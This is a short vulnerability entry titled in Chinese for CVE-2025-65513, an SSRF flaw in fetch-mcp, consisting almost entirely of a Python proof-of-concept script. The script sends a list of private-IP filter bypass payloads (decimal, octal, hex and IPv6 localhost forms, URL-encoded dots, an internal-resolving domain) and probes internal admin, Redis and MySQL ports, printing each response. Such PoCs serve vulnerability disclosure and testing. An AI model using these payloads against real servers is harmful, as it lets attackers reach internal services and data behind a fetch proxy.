CVE-2025-65513 fetch-mcp SSRF服务器端请求伪造漏洞

import requests # CVE-2025-65513 SSRF PoC for fetch-mcp # Target: fetch-mcp v1.0.2 and before def test_ssrf_bypass(): """ Test various SSRF bypass techniques against fetch-mcp endpoint """ target_url = "http://target-server:3000/fetch" # Bypass techniques for private IP validation payloads = [ # Decimal IP encoding {"url": "http://2130706433/"}, # Octal IP encoding {"url": "http://0177.0000.0000.0001/"}, # Hex IP encoding {"url": "http://0x7f000001/"}, # IPv6 localhost {"url": "http://[::1]/"}, # Dotted decimal with padding {"url": "http://127.0.1/"}, # URL encoding bypass {"url": "http://127%2e0%2e0%2e1/"}, # Domain pointing to internal IP {"url": "http://internal.localtest.com/"}, # Alternative localhost representation {"url": "http://[email protected]/"}, # Access internal service {"url": "http://127.0.0.1:8080/admin"}, {"url": "http://127.0.0.1:6379/"}, # Redis {"url": "http://127.0.0.1:3306/"}, # MySQL ] for payload in payloads: try: response = requests.post(target_url, json=payload, timeout=10) print(f"Payload: {payload['url']}") print(f"Status: {response.status_code}") print(f"Response: {response.text[:200]}") print("-" * 50) except requests.exceptions.RequestException as e: print(f"Error with {payload['url']}: {e}") if __name__ == "__main__": test_ssrf_bypass()